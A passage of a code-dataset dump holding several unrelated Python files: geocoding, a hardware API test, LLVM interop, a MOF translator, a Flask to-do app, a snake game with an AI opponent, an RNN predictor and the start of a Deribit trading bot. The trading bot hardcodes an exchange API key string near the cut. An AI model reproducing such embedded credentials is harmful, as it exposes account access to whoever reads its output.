self._cache = data['cache']\n print('loading cache',len(self._cache))\n self._parts_by_country.update(data['parts'])\n\n def _save_state(self):\n # 'fv':self._cacheFV\n to_save = {'cache': self._cache, 'parts': self._parts_by_country}\n with open('cache.json', 'w') as fout:\n json.dump(to_save, fout, indent=4, sort_keys=True)\n\n def add_authors_location_inplace(self, G: nx.Graph):\n \"\"\"\n For every node of G (a reference in the network), finds the\n coordinates based from the 'Affiliation' bibtex field, if present.\n _Alters the data of G_.\n \"\"\" \n trees = {}\n print('Compiling addresses')\n for n in tqdm(G):\n G.nodes[n]['data']['countries'] = []\n G.nodes[n]['data']['coordinates'] = []\n addresses = []\n if ('data' in G.nodes[n]) and ('Affiliation' in G.nodes[n]['data']) and (G.nodes[n]['data']['Affiliation'] is not None) and (len(G.nodes[n]['data']['Affiliation']) > 0):\n # aff = G.nodes[n]['data']['Affiliation'].replace('(Reprint Author)', '').replace(\n # \".,\", ',').replace(\"'\", '') # O'lastname / Jesusm. / Redone. mess sentence identification\n # doc = nlp(aff)\n # add = ''\n for add in G.nodes[n]['data']['Affiliation']:\n # special cases: NY 10012 USA / LOS ANGELES,CA.\n vals = [x.strip(' \\n.') for x in add.split(',')]\n # ,CA.\n if (len(vals[-1]) == 2) and vals[-1].upper() in _US:\n addresses.append(\n [titlecase(vals[-2]), vals[-1], 'United States'])\n elif (vals[-1].upper().endswith(' USA')):\n addresses.append(\n [titlecase(vals[-2]), vals[-1].split(' ')[0], 'United States'])\n else:\n if len(vals) > 3: # name, dept, etc\n addresses.append([titlecase(x) for x in vals[-3:]])\n else:\n addresses.append([titlecase(x) for x in vals])\n\n for vals in addresses:\n G.nodes[n]['data']['countries'].append(vals[-1]) \n v = [x.lower() for x in vals]\n if len(v) < 3:\n v = ['', ]*(3-len(v)) + v\n # not really city / state / country, but it is easier to\n # code with names\n # there is probably a shorter way of doing this using defaultdicts\n country = _find(trees, v[-1])\n if country is None:\n country = v[-1]\n trees[country] = {}\n\n state = _find(trees[country], v[-2])\n if state is None:\n state = v[-2]\n trees[country][state] = {}\n\n city = _find(trees[country][state], v[-3])\n if city is None:\n city = v[-3]\n trees[country][state][city] = []\n\n trees[country][state][city].append(n)\n\n \n for country in trees:\n if not trees[country]:\n continue\n\n cached = _find(self._parts_by_country, country)\n if (cached is None) and (self._gmaps is not None):\n i = 0\n j = 0\n geo = []\n while not geo:\n sample_state = list(trees[country].keys())[i]\n sample_city = list(trees[country][sample_state])[j]\n parts = [sample_city, sample_state, country]\n geo = self._google(parts)\n j += 1\n if j == len(trees[country][sample_state].keys()):\n j = 0\n i += 1\n if i == len(trees[country]):\n print('Could not find \"{0}\" as a country, please check the affiliation field.'.format(country))\n print('(It happens when a author has a dot at the end of a long abreviation)')\n print(trees[country])\n break\n if geo is not None:\n self._parts_by_country[country] = _count_useful_parts(parts, geo)\n self._save_state()\n\n print('Getting coordinates')\n for country in tqdm(trees):\n cached = _find(self._parts_by_country, country)\n if cached is None:\n continue\n\n to_use = self._parts_by_country[cached]\n\n for state in trees[country]:\n for city in trees[country][state]:\n parts = [city, state, country][-to_use:]\n parts = ['', ]*(3-len(parts)) + parts\n geo = self._cache_search(parts)\n if (geo is None) and (self._gmaps is not None):\n geo = self._google(parts)\n if not geo:\n continue\n self._cache_add(parts, geo)\n\n if geo is not None:\n for n in trees[country][state][city]:\n G.nodes[n]['data']['coordinates'].append(\n [geo['geometry']['location']['lng'], geo['geometry']['location']['lat']])\n\n return(G)\n\n def _cache_search(self, address_parts: list):\n vals = ['', ]*(3-(len(address_parts))) + address_parts\n\n country = _find(self._cache, vals[-1])\n if country is None:\n return(None)\n\n state = _find(self._cache[country], vals[-2])\n if state is None:\n return(None)\n\n city = _find(self._cache[country][state], vals[-3])\n if city is None:\n return(None)\n\n return(self._cache[country][state][city])\n\n def _cache_add(self, address_parts: list, google_geocode: dict):\n vals = ['', ]*(3-(len(address_parts))) + address_parts\n\n country = _find(self._cache, vals[-1])\n if country is None:\n country = vals[-1]\n self._cache[country] = {}\n\n state = _find(self._cache[country], vals[-2])\n if state is None:\n state = vals[-2]\n self._cache[country][state] = {}\n\n city = _find(self._cache[country][state], vals[-3])\n if city is None:\n city = vals[-3]\n\n self._cache[country][state][city] = google_geocode\n self._save_state()\n\n def _google(self, address_parts: list)->list:\n \"\"\"\n Queries google's geocoding service for the address.\n Limited to 50 queries per second. A key is necessary.\n Returns (lng,lat) for the point.\n \"\"\"\n minTime = 1/50\n delta = monotonic() - self._last_request\n res = None\n address = ', '.join([x for x in address_parts if x != ''])\n if delta <= minTime:\n sleep(minTime-delta)\n\n res = self._gmaps.geocode(address)\n # with open('testing.json','r') as fin:\n # res = json.load(fin)\n \n if res:\n res = _filter_geocode(res[0])\n # else:\n # print('\\n Not found:\\n',address)\n # print(res)\n # input('.')\n # print('google ', address)\n self._outgoing_calls += 1\n self._last_request = monotonic()\n return(res)\n","sub_path":"src/refcliq/geocoding.py","file_name":"geocoding.py","file_ext":"py","file_size_in_byte":11252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"325227596","text":"\"\"\"Test Docker API.\"\"\"\nfrom pathlib import Path\n\nimport pytest\n\nfrom supervisor.hardware.data import Device\n\n\n@pytest.mark.asyncio\nasync def test_api_hardware_info(api_client):\n \"\"\"Test docker info api.\"\"\"\n resp = await api_client.get(\"/hardware/info\")\n result = await resp.json()\n\n assert result[\"result\"] == \"ok\"\n\n\n@pytest.mark.asyncio\nasync def test_api_hardware_info_device(api_client, coresys):\n \"\"\"Test docker info api.\"\"\"\n coresys.hardware.update_device(\n Device(\n \"sda\",\n Path(\"/dev/sda\"),\n Path(\"/sys/bus/usb/000\"),\n \"sound\",\n [Path(\"/dev/serial/by-id/test\")],\n {\"ID_NAME\": \"xy\"},\n )\n )\n\n resp = await api_client.get(\"/hardware/info\")\n result = await resp.json()\n\n assert result[\"result\"] == \"ok\"\n assert result[\"data\"][\"devices\"][-1][\"name\"] == \"sda\"\n assert result[\"data\"][\"devices\"][-1][\"by_id\"] == \"/dev/serial/by-id/test\"\n","sub_path":"tests/api/test_hardware.py","file_name":"test_hardware.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"31041794","text":"from dataclasses import dataclass\nfrom typing import Union\n\nfrom llvmlite import ir\nimport clang.cindex\n\nfrom llvm_utils import build_func\nfrom volpe_types import int64, flt64, VolpeType, VolpeObject, VolpePointer, char, pint8, unknown, unwrap, int32\n\nindex = clang.cindex.Index.create()\n\n\ndef volpe_from_c(c_type: clang.cindex.Type) -> Union[ir.Type, VolpeType]:\n if c_type.kind == clang.cindex.TypeKind.POINTER:\n return VolpePointer(volpe_from_c(c_type.get_pointee()))\n if c_type.kind == clang.cindex.TypeKind.CHAR_S or c_type.kind == clang.cindex.TypeKind.CHAR_U:\n return char\n if c_type.kind == clang.cindex.TypeKind.INT or c_type.kind == clang.cindex.TypeKind.UINT:\n return int64\n if c_type.kind == clang.cindex.TypeKind.DOUBLE:\n return flt64\n if c_type.kind == clang.cindex.TypeKind.VOID:\n return VolpeObject({})\n if c_type.kind == clang.cindex.TypeKind.RECORD:\n return VolpeObject({field.spelling: volpe_from_c(field.type) for field in c_type.get_fields()})\n\n assert False, f\"unknown c-type: {c_type.kind}\"\n\n\n@dataclass\nclass VolpeCFunc(VolpeType):\n c_func: clang.cindex.Type\n name: str\n\n def __repr__(self):\n return \"c-func\"\n\n def args(self):\n args = [volpe_from_c(a) for a in self.c_func.argument_types()]\n if len(args) == 1:\n return args[0]\n return VolpeObject({f\"_{i}\": a for i, a in enumerate(args)})\n\n def ret(self):\n return volpe_from_c(self.c_func.get_result())\n\n def unwrap(self) -> ir.Type:\n return ir.LiteralStructType([])\n\n def __hash__(self):\n raise hash(self.c_func)\n\n def ret_type(self, parent, args: VolpeType):\n parent.assert_(args == self.args(), f\"can not call `{self.name}` with args {args}, expected {self.args()}\")\n return self.ret()\n\n def build_or_get_function(self, parent, volpe_args):\n module: ir.Module = parent.builder.module\n\n func_args = unwrap(self.args())\n if not isinstance(volpe_args, VolpeObject):\n func_args = ir.LiteralStructType([func_args])\n\n for func in module.functions:\n if func.name == self.name:\n break\n else:\n func_type = ir.FunctionType(unwrap(self.ret()), func_args)\n func = ir.Function(module, func_type, self.name)\n\n volpe_func_type = ir.FunctionType(unwrap(self.ret()), [ir.LiteralStructType([]), unwrap(self.args())])\n volpe_func = ir.Function(module, volpe_func_type, str(next(module.func_count)))\n with build_func(volpe_func) as (b, args):\n b: ir.IRBuilder\n args = [args[1]]\n if isinstance(volpe_args, VolpeObject):\n args = [b.extract_value(args[0], i) for i in range(len(volpe_args.type_dict))]\n\n b.ret(b.call(func, args))\n\n return volpe_func\n","sub_path":"volpe/c_interop.py","file_name":"c_interop.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"581551186","text":"# Copyright (C) 2017 Verizon. All Rights Reserved.\n#\n# File: mof2py.py\n# Author: Phil Chandler, John Hickey\n# Date: 2017-02-17\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nTools for converting Dell MOF files into Python code.\n\"\"\"\n\n#\n# Imports\n#\n\n# Python standard library\nimport glob\nimport logging\nimport os\nimport sys\nfrom collections import defaultdict\n\n# this project\nimport _code_generation.exceptions as my_exceptions\nimport _code_generation.mof as my_mof\nimport _code_generation.template as my_template\n\n#\n# Module variables\n#\n\n# logger\n_LOGGER = logging.getLogger(__name__)\n\n#\n# Driver for translation\n#\n#\n#\n# def old_translate_mof_to_py(dell_version, root_py_output_path):\n# \"\"\"Entry point for translations\"\"\"\n#\n# _LOGGER.info(\"Begin translating mof to python for dell version %s\", dell_version)\n# py_module_output_path = os.path.join(root_py_output_path, dell_version)\n# try:\n# # Make sure the output path exists\n# if not os.path.exists(py_module_output_path):\n# os.makedirs(py_module_output_path)\n#\n# # Load textX parser\n# metamodel = my_mof.load_metamodel()\n#\n# # Parse the MOF files\n# classnames = {}\n# avail_mof_files = my_mof.find_avail_mof_files(dell_version)\n# for mof_file in avail_mof_files:\n# classname = mof_file.base_name.replace(\".mof\", \"\")\n# py_file_name = \"{}.py\".format(classname)\n# py_path = os.path.join(py_module_output_path, py_file_name)\n#\n# try:\n# _LOGGER.debug(\"Translating mof file %s to py file %s\", mof_file.path, py_path)\n# classes, py_src_text = process_mof(metamodel, mof_file.path)\n# except Exception: # pylint: disable=broad-except\n# _LOGGER.exception(\"Failed to parse %s\", mof_file.path)\n# continue\n# else:\n# classnames.update(classes)\n# with open(py_path, 'w') as output_file:\n# output_file.write(py_src_text)\n#\n# # Write imports for __init__.py\n# init_py = os.path.join(py_module_output_path, '__init__.py')\n#\n# with open(init_py, 'w') as output_file:\n# for classname, classes in classnames.items():\n# imports = \", \".join(classes)\n# output_file.write(\"from .{} import {}\\n\".format(classname, imports))\n#\n# except Exception as error: # pylint: disable=broad-except\n# _LOGGER.exception(\"Fatal error while trying to translate mof to python: %s\", str(error))\n# else:\n# _LOGGER.info(\"Finished translating mof to python\")\n\n\nclass MOFTranslator(object):\n \"\"\"Translates MOF data files into Python source code files\"\"\"\n\n def __init__(self, root_output_path):\n \"\"\"Takes root output path for python code as an argument\"\"\"\n\n # setup delegate parser and renderer\n self._parser = my_mof.MOFParser()\n self._renderer = my_template.PySrcRenderer()\n\n # generate output path\n assert os.path.exists(root_output_path), \"Root output path does not exist\"\n self._root_output_path = root_output_path\n _LOGGER.debug(\"Using root output path: %s\", self._root_output_path)\n\n def _make_parent_module_path(self, dell_version):\n \"\"\"Ensure that the parent module path exists on the file system\"\"\"\n parent_module_path = os.path.join(self._root_output_path, dell_version)\n if os.path.exists(parent_module_path):\n _LOGGER.info(\"Using existing parent module path %s\", parent_module_path)\n else:\n os.makedirs(parent_module_path)\n _LOGGER.info(\"Created directory at parent module path %s\", parent_module_path)\n return parent_module_path\n\n @staticmethod\n def _write_python_file(py_src_text, module_name, parent_path):\n \"\"\"Write a Python source file based on the text, the module name of the file and the path\"\"\"\n assert py_src_text is not None\n assert module_name\n assert os.path.exists(parent_path)\n output_path = os.path.join(parent_path, \"{base_name}.py\".format(base_name=module_name))\n _LOGGER.info(\"Begin writing Python source file %s\", output_path)\n try:\n with open(output_path, 'w') as output_file:\n output_file.write(py_src_text)\n except Exception as error:\n raise my_exceptions.CodeGenError(\n \"Fatal error writing Python source file {}\".format(output_path), error)\n else:\n _LOGGER.info(\"Finished writing Python source file %s\", output_path)\n\n def translate(self, dell_version):\n \"\"\"Translates MOF to Python\"\"\"\n assert dell_version\n _LOGGER.info(\"Begin translating mof to python code for dell version %s\", dell_version)\n try:\n parent_module_path = self._make_parent_module_path(dell_version)\n parent_module_contents = {}\n\n # iterate across the available mof files and produce python sub-modules\n for mof_file_entry in my_mof.MOFParser.find_avail_mof_files(dell_version):\n # first parse the mof file into a mof class object\n try:\n mof_class = self._parser.parser_mof_file(mof_file_entry)\n except my_exceptions.SkipMOFFile as e:\n _LOGGER.warning(str(e))\n continue\n\n # now render it into python source code text and write it out\n py_sub_module_src_text = self._renderer.render_sub_module(dell_version,\n mof_class)\n py_sub_module_name = mof_file_entry.base_name.replace(\".mof\", \"\")\n MOFTranslator._write_python_file(\n py_sub_module_src_text, py_sub_module_name, parent_module_path)\n\n # update the manifest of the module contents\n if mof_class.attributes:\n py_class_name = \"{class_name}Factory\".format(class_name=mof_class.name)\n else:\n py_class_name = mof_class.name\n parent_module_contents[mof_class.name] = [py_class_name]\n\n # after writing out all the sub-modules, write out the parent's __init__.py\n py_parent_module_src_text = self._renderer.render_parent_module(\n dell_version, parent_module_contents)\n MOFTranslator._write_python_file(\n py_parent_module_src_text, '__init__', parent_module_path)\n except my_exceptions.CodeGenException as e:\n raise e\n except Exception as error: # pylint: disable=broad-except\n raise my_exceptions.CodeGenError(\n \"Fatal error while trying to translate mof to python for dell \"\n \"version: {}\".format(dell_version), error)\n else:\n _LOGGER.info(\"Finished translating mof to python for dell version %s\", dell_version)\n","sub_path":"_code_generation/mof2py.py","file_name":"mof2py.py","file_ext":"py","file_size_in_byte":7519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"432632849","text":"\n# Standard\nfrom typing import Union\nimport sys\n\n# Third-Party\nfrom django.db.models.signals import m2m_changed, pre_save, pre_delete, post_save, post_delete\nfrom django.dispatch import receiver\n\n# Local\nfrom ..models import (\n Person, PersonInClassTemplate,\n Resource, ResourceInClassTemplate,\n TimePattern,\n)\n\n__author__ = 'Adrian'\n\n\n@receiver(post_save, sender=PersonInClassTemplate)\ndef post_personinclasstemplate_save(sender, **kwargs):\n instance = kwargs.get('instance') # type: PersonInClassTemplate\n instance.note_personinclasstemplate_change()\n\n\n@receiver(post_save, sender=ResourceInClassTemplate)\ndef post_resourceinclasstemplate_save(sender, **kwargs):\n instance = kwargs.get('instance') # type: ResourceInClassTemplate\n instance.note_resourceinclasstemplate_change()\n\n\n@receiver(post_save, sender=TimePattern)\ndef post_timepattern_save(sender, **kwargs):\n instance = kwargs.get('instance') # type: TimePattern\n instance.note_timepattern_change()\n\n","sub_path":"flock/signals/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"650018795","text":"from flask import Flask, render_template, redirect, url_for, request, g, session, logging, make_response\nimport sqlite3\nimport models as dbHandler\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('main.html')\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n error = None\n if request.method == 'POST':\n username = request.form['username']\n completion = validate(username)\n if completion == False:\n error = 'Invalid Credentials. Please try again.'\n else:\n resp = make_response(render_template('add.html'))\n resp.set_cookie('username', username)\n return resp\n return render_template('login.html', error=error)\n\ndef validate(username):\n con = sqlite3.connect('static/database.db')\n completion = False\n with con:\n cur = con.cursor()\n cur.execute(\"SELECT * FROM users\")\n rows = cur.fetchall()\n for row in rows:\n dbId = row[0]\n dbUser = row[1]\n if dbUser == username:\n completion = True\n return completion\n\n@app.route('/add', methods=['GET', 'POST'])\ndef add():\n if request.method == 'POST':\n item = request.form['item']\n dbHandler.addItem(item)\n return render_template('add.html')\n else:\n return render_template('add.html')\n\n@app.route('/user', methods=['GET', 'POST'])\ndef user():\n error = None\n if request.method == 'POST':\n username = request.form['username']\n dbHandler.insertUser(username)\n return redirect(url_for('index'))\n else:\n return render_template('user.html')\n\n@app.route('/todolist', methods=['GET', 'POST'])\ndef todolist():\n items = dbHandler.retrieveItems()\n dbHandler.retrieveItems()\n return render_template('todolist.html', items=items)\n\n@app.route('/delete', methods=['GET','POST'])\ndef delete():\n dbHandler.deleteItem()\n return render_template('todolist.html')\n\n@app.route('/logout', methods=['GET','POST'])\ndef logout():\n return redirect(url_for('index'))\n\nif __name__ == '__main__':\n app.run(port = 5000, debug = True)\n","sub_path":"todo.py","file_name":"todo.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"635106818","text":"# By Ivan Nesevski and Bilal Majeed on June 2/2013\n# This is the main code for the PLayer and AI mode of the game\n# This is called from the \"main.py\" file\n\n#IMPORT THE NEEDED MODULES\nimport pygame, sys, os, aiClasses, ai, math\nfrom pygame.locals import *\nimport random\n\nos.environ['SDL_VIDEODRIVER']='windib' #required for winXP\n\n#CONSTANTS\nright, left, up, down = 20, -20, 10, -10\ncolor = 0,0,0\nblock_size = 20\nsize = width, height = 1000, 740\n\npygame.mixer.init()\nclock = pygame.time.Clock() #defines the clock for the timer of the game\npauseClock = pygame.time.Clock()\nmusic = pygame.mixer.Sound('music/epic_music.ogg')\n\n\ndef game(music_play):\n import gameOver\n \n pygame.init()\n pygame.display.set_caption('Ultimate Snake')\n screen = pygame.display.set_mode(size, pygame.FULLSCREEN)\n game = True\n \n while game == True:\n #plays the music if its not off\n if music_play != \"off\":\n music.play(-1)\n \n #defines the bgColor, color and the speed of the snake\n bgColor = 0, 0, 0\n color = 255, 255, 255\n\n snake2 = aiClasses.Snake(screen, 320, 280, \"images/green.bmp\")\n snake = aiClasses.Snake(screen, 320, 240, \"images/part.bmp\")\n\n score2 = aiClasses.Score(screen, True) \n score = aiClasses.Score(screen)\n\n food = aiClasses.Food(screen, snake, snake2) \n food2 = aiClasses.Food(screen, snake, snake2, True)\n snk2Dead = False\n\n font = pygame.font.SysFont(\"Helvetica\", 25)\n font2 = pygame.font.SysFont(\"Helvetica\", 40)\n\n came_from = \"R\"\n came_from2 = \"\"\n\n pCount = 0\n clock.tick_busy_loop()\n timer = 180000 #sets the time of the game to 3min\n #game will end in 3min\n pause = 0\n \n while True:\n clock.tick_busy_loop() \n pos_xy = [] #defines a list with x,y position of each part\n #of the snake\n \n #appends the positions to pos_xy\n for each in snake2.parts[3:]:\n pos_xy.append((each.position.x, each.position.y))\n\n #finds the difference in positions between the AI snake and\n #and the food1 and food2 position\n foodPos = math.fabs(snake2.head.position.x - food.position[0])\n food2Pos = math.fabs(snake2.head.position.x - food2.position[0])\n\n #decides which food is closer and goes for that food\n if foodPos >= food2Pos:\n goFood = 2\n else:\n goFood = 1\n \n if snk2Dead == False:\n #tells the AI to move, calls the ai function ai.py\n if goFood == 2:\n came_from, came_from2= ai.ai(food2, snake2, came_from, came_from2, pos_xy)\n elif goFood == 1:\n came_from, came_from2= ai.ai(food, snake2, came_from, came_from2, pos_xy)\n \n goFood = 0\n\n #if the escape key is pressed then the game will quit\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n pygame.quit()\n sys.exit()\n \n #press 'p' to pause and unpause the game\n #it goes into a infinite loop when \"p\" is pressed\n if event.type == KEYDOWN:\n if event.key == K_p:\n pygame.mixer.pause()\n pCount = 1\n pauseClock.tick() #ticks the clock for the pauseClock\n while 1:\n event = pygame.event.wait()\n if event.type == KEYDOWN:\n if event.key == K_p:\n pygame.mixer.unpause()\n break\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.key == K_ESCAPE:\n pygame.quit()\n sys.exit()\n pauseClock.tick() #ticks it again\n\n # use the arrow keys to move the snake\n #THIS IS FOR PLAYER 1\n if event.type == KEYDOWN:\n if event.key == K_RIGHT:\n snake.change_direction(right) \n elif event.key == K_LEFT:\n snake.change_direction(left)\n elif event.key == K_UP:\n snake.change_direction(up)\n elif event.key == K_DOWN:\n snake.change_direction(down)\n\n # change the bgColor to rainbow colors\n while score.score >= 1000 or score2.score >= 1000: \n int1 = random.randrange(0, 255)\n int2 = random.randrange(0, 255)\n int3 = random.randrange(0, 255)\n bgColor = int1, int2, int3\n break\n\n # if the player dies\n if not snake.move(food, food2, score):\n game = False #game ends and goes to the gameOver screen\n break #breaks the game loop\n\n # if the ai dies\n if not snake2.move(food, food2, score2):\n snk2Dead = True\n\n screen.fill(bgColor) #fills the background\n\n pause = pauseClock.get_time() #finds how long the game\n #was paused for\n \n if pCount == 1: #works everytime the game is paused\n timer = (timer - clock.get_time()) + pause\n pCount = 0\n else:\n timer -= clock.get_time()\n\n if timer <= 0: #what happens when the time runs out\n pygame.time.delay(1000)\n game = False\n break\n \n if snk2Dead == False: #when the AI is not dead\n snake2.update() #updates the AI's snake\n food2.update() #updates the food for the AI\n\n snake.update() #updates the snake for the player\n food.update() #updates the food for the player\n \n score2.update(color) #updates the scores\n score.update(color) \n \n #BLITS THE SPEED STATUS OF THE SNAKES\n if food.delay == 80:\n speedPic = pygame.image.load('images/normalSpeed.bmp').convert()\n screen.blit(speedPic, (550, 3))\n\n elif food.delay == 40:\n speedPic = pygame.image.load('images/fastSpeed.bmp').convert()\n screen.blit(speedPic, (550, 5))\n \n elif food.delay == 120:\n speedPic = pygame.image.load('images/slowSpeed.bmp').convert()\n screen.blit(speedPic, (550, 5))\n \n #draws a line that seperates the statusbar from the game\n pygame.draw.line(screen, color, (0, 40), (1000, 40))\n\n #defines the time variables\n t = (timer/1000)/60.0\n timeText = font.render(\"Time:\", True, color)\n time = font.render(str(\"%.2f\" % t), True, color)\n #blits the time text and the time\n screen.blit(timeText, (250, 10))\n screen.blit(time, (310, 10))\n \n pygame.display.update() #updates the display\n pygame.time.delay(food.delay) #changes the speed of the snakes\n\n #IF THE GAME HAS ENDED\n while game == False:\n music.stop()\n \n #shows the gameOver screen\n gameOver.scoresListMulti(font2, score.score, score2.score, music_play, True)\n pygame.display.update()\n","sub_path":"multiai.py","file_name":"multiai.py","file_ext":"py","file_size_in_byte":8085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"204598578","text":"#!/usr/bin/env python3\nimport argparse\nimport os\nimport random\nimport torch\nimport sys\nfrom pathlib import Path\nfrom torch.autograd import Variable\nsys.path.append(\"../..\")\nfrom core.prediction import RNNPredictor\nfrom core.corpus import Corpus\nfrom core.data_processor import PennTreeBankProcessor\nfrom core.common_helpers import TorchHelper\n\ndef bool_from_string(value):\n value = value.lower().strip()\n if (value in (\"yes\", \"true\", \"t\", \"y\", \"1\")):\n return True\n elif (value in (\"no\", \"false\", \"f\", \"n\", \"0\")):\n return False\n else:\n raise argparse.ArgumentTypeError(\"Boolean value expected\")\n\ndef parse_arguments():\n \"\"\"Parses the command line arguments and assigns default values if provided.\"\"\"\n parser = argparse.ArgumentParser()\n parser.register(\"type\", \"bool\", (lambda value: bool_from_string(value)))\n # Common\n parser.add_argument(\"--context\", type = str, help = \"The context to use for prediction\")\n parser.add_argument(\"--count\", type = int, help = \"The number of items to predict\")\n parser.add_argument(\"--add_postfix_eos\", action = \"store_true\", help = \"Adds an end of string item to the end of context\")\n parser.add_argument(\"--add_prefix_eos\", action = \"store_true\", help = \"Adds an end of string item to the beginning of the context\")\n parser.add_argument(\"--add_postfix_space\", action = \"store_true\", help = \"Adds a space at the end of the context\")\n parser.add_argument(\"--temperature\", type = float, default = 1.0, help = \"The prediction diversity\")\n parser.add_argument(\"--corpus_file_path\", type = str, default = \"ptb_char_corpus.pkl\", help = \"The file path to load the corpus constructed from the data\")\n parser.add_argument(\"--model_file_path\", type = str, default = \"ptb_char_model.pt\", help = \"File path used to load the model\")\n parser.add_argument(\"--seed\", type = int, default = 4930981, help = \"The seed used for reproducibility\")\n parser.add_argument(\"--use_cuda\", type = \"bool\", default = False, help = \"Determines whether or not to use CUDA\")\n arguments = parser.parse_args()\n return arguments\n\ndef validate_temperature(temperature):\n \"\"\"Validates the provided temperature.\"\"\"\n if (temperature < 1e-3):\n raise ValueError(\"Temperature is less than 1e-3\")\n\ndef file_exists(file_path):\n \"\"\"Determines whether or not a file exists.\"\"\"\n path = Path(file_path)\n exists = path.is_file()\n return exists\n\ndef setup_corpus(config):\n \"\"\"Loads a an existing corpus.\"\"\"\n if (file_exists(config.corpus_file_path)):\n corpus = Corpus.load(config.corpus_file_path)\n print(\"Loaded corpus from '\" + config.corpus_file_path + \"'...\")\n else:\n raise ValueError(\"Corpus file not found: '\" + config.corpus_file_path + \"'\")\n return corpus\n\ndef load(model_file_path, use_cuda):\n \"\"\"Loads an RNN model from a given file path.\"\"\"\n rnn = TorchHelper.load(model_file_path, use_cuda)\n print(\"Loaded model from '%s'...\" % model_file_path)\n return rnn\n\ndef setup_rnn(config):\n \"\"\"Loads an existing RNN model.\"\"\"\n if (file_exists(config.model_file_path)):\n rnn = load(config.model_file_path, config.use_cuda)\n else:\n raise ValueError(\"Model file not found: '\" + config.model_file_path + \"'\")\n return rnn\n\ninput = Variable(torch.zeros(1, 1).long(), volatile = True)\n\ndef setup_input(config):\n if (config.use_cuda):\n input.data = input.data.cuda()\n\ndef tensor_from_item(vocabulary, item):\n \"\"\"Updates the input tensor given an item.\"\"\"\n index = vocabulary.index_from_item(item)\n input.data.fill_(index)\n return input\n\ndef setup_rnn_predictor(rnn, corpus):\n \"\"\"Creates a predictor given the model and its corpus.\"\"\"\n rnn_predictor = RNNPredictor(rnn, corpus.vocabulary, tensor_from_item)\n return rnn_predictor\n\ndef setup_context(config):\n \"\"\"Configures by normalizing the provided context.\"\"\"\n ptb_processor = PennTreeBankProcessor()\n context = ptb_processor.character_items_from_string(config.context)\n context = context[:-1]\n if (config.add_prefix_eos):\n context = [\"\"] + context\n if (not config.add_postfix_eos):\n context = context[:-1]\n if (config.add_postfix_space):\n context += [\" \"]\n return context\n\ndef predict(config, rnn_predictor, context):\n \"\"\"Performs the prediction given the context.\"\"\"\n print(\"context: \")\n print(config.context)\n print(context)\n predictions = rnn_predictor.predict(context, config.temperature, config.count)\n print(\"\".join(predictions))\n\ndef main():\n \"\"\"The main entry point for prediction.\"\"\"\n config = parse_arguments()\n validate_temperature(config.temperature)\n setup_input(config)\n TorchHelper.set_seed(config.seed)\n corpus = setup_corpus(config)\n rnn = setup_rnn(config)\n if config.use_cuda:\n rnn.cuda()\n else:\n rnn.cpu()\n\n rnn_predictor = setup_rnn_predictor(rnn, corpus)\n context = setup_context(config)\n predict(config, rnn_predictor, context)\n\nmain()\n","sub_path":"core/benchmark/predict_char_model.py","file_name":"predict_char_model.py","file_ext":"py","file_size_in_byte":5014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"440385295","text":"# This code is for sample purposes only, comes as is and with no warranty or guarantee of performance\nimport json\nfrom collections import OrderedDict\nfrom datetime import datetime\nfrom os.path import getmtime\nfrom time import sleep\nfrom datetime import date, timedelta\nfrom utils import ( get_logger, lag, print_dict, print_dict_of_dicts, sort_by_key,\n ticksize_ceil, ticksize_floor, ticksize_round )\nimport quantstats as qs\n\nimport ccxt\nimport requests\nimport pandas as pd\nfrom finta import TA\n\nimport json\nimport copy as cp\nimport argparse, logging, math, os, pathlib, sys, time, traceback\n\ntry:\n from deribit_api import RestClient\nexcept ImportError:\n #print(\"Please install the deribit_api pacakge\", file=sys.stderr)\n #print(\" pip3 install deribit_api\", file=sys.stderr)\n exit(1)\n\n# Add command line switches\nparser = argparse.ArgumentParser( description = 'Bot' )\n\n# Use production platform/account\nparser.add_argument( '-p',\n dest = 'use_prod',\n action = 'store_true' )\n\n# Do not display regular status updates to terminal\nparser.add_argument( '--no-output',\n dest = 'output',\n action = 'store_false' )\n\n# Monitor account only, do not send trades\nparser.add_argument( '-m',\n dest = 'monitor',\n action = 'store_true' )\n\n# Do not restart bot on errors\nparser.add_argument( '--no-restart',\n dest = 'restart',\n action = 'store_false' )\nqs.extend_pandas()\n\n# fetch the daily returns for a stock\n\nfrom datetime import datetime \n#data = {}\n#stock = qs.utils.download_returns('FB')\n#data = {0: 0, 1: -1, 2: 1, 3: -1, 4: 2, 5:-3, 6: 10}\n#{(datetime.strptime('2020-02-28', '%Y-%m-%d')): 0,(datetime.strptime(datetime.today().strftime('%Y-%m-%d'), '%Y-%m-%d')): -1}\n#s = pd.Series(data)\n\n##print(s)\n##print(qs.stats.max_drawdown(s))\n\nargs = parser.parse_args()\nURL = 'https://test.deribit.com'#ctrl+h!!!!!\n\n\nKEY = 'vYdcoUEv'\nSECRET = 